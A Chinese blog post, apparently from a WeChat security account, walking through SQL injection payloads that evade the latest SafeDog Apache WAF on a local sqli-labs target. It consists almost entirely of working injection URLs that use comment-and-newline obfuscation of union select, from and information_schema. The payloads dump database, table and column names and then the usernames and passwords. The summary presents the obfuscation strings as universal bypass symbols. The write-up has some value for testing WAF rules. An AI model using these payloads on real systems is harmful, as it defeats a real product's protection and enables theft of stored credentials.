SQL注入-安全狗apache最新版绕过

 微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

01 背景知识

现在的环境下对web选手越来越不友好,如果想在web场景中去挖洞,基本上都要面对waf,而常用的waf产品有很多,本次以开源免费最新版安全狗为例,绕过waf获取数据。

tips:本文需要您提前掌握一定的基础知识!

02 环境配置

Windows 10主机

phpstudy2018

sqli-labs靶场

安全狗apache4.0.30255

当前版本是最新版安全狗(截止2021.05.17)

3. fuzz绕过字符

单独的from 不拦截 schema.schemata也不拦截, information_schema拦截,from information拦截,from/*//--/*/information不拦截查库:select schema_name from information_schema.schemata查表:select table_name from information_schema.tables where table_schema='security'查字段:select column_name from information_schema.columns where table_name='users'查字段的值:select username,password from security.users

口算一个有效字符,非常重要!!!

%20/*//--/*/

接下来的操作都是在此基础上实现的

3.1 order by 语句

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  order by 1 --+

 拦截

最新版本的特征和次新版本还不是太一样的:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order /*//--/*/ by 10 --+

bypass成功

3.2  union select语句

查看显示报错的位置:(这是apache次新版绕过的方法)

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*//--/*/ select 1,2, 3 --+

那在这里了就尝试下新的句子:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*//--/*/     /*!--+/*%0aselect/*!1,2,3*/  --+

绕过成功

3.3 database()关键字

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*//--/*/ select 1,2, database() --+

拦截

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*//--/*/     /*!--+/*%0aselect/*!1,2,*/database /*//--/*/ ()  --+

正常

3.4 获取其他的库

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*//--/*/ select 1,2, group_concat(schema_name) from information_schema.schemata --+

拦截

这里经过多次fuzz,后来发现狗狗对information_schema.schemata 拦截比较厉害,所以这里可以采用这样的模式(这是次新版绕过的方法)

http://127.0.0.1sqli-labs-master/Less-1/?id=-1' union /*//--/*/ select 1,2, group_concat(schema_name) from information_schema.  /*//--/*/ schemata --+

还是被拦截

那在这里还是无法绕过,因此这里需要引入在3.5版本里面的绕过from的一个方法

/*!06447%23%0afrom*/

因此在这里可以使用(这是次新版本绕过的方法)

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*//--/*/ select 1,2, group_concat(schema_name) from information_schema.  /*//--/*/ schemata --+

但是在这,不行

那就换下:(其实这里就是对union select 进行了更新)

union select  1,2,3 转换为: union /*!--+/*%0aselect/*!1,2,*/3

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union   /*!--+/*%0aselect/*!1,2,*/  group_concat(schema_name)    /*!from*/    /*!--+/*%0ainformation_schema./*!schemata*/ --+

3.5 一次性获取所有的表

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/  group_concat(table_name)    /*!from*/     /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='security' --+

3.6 一次性获取所有的字段

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/  group_concat(column_name)    /*!from*/     /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+
 

3.7 一次性获取字段里面的值

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/  group_concat(concat_ws(0x7e,username, password))     /*!from*/    security.users --+

4. 总结

口算yyds !!!

这里比较重要的点:

万能符号:

union select  -->

union/*//--/*/select

union select 1,2,3  --> 

union /*!--+/*%0aselect/*!1,2,*/ 3

 微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值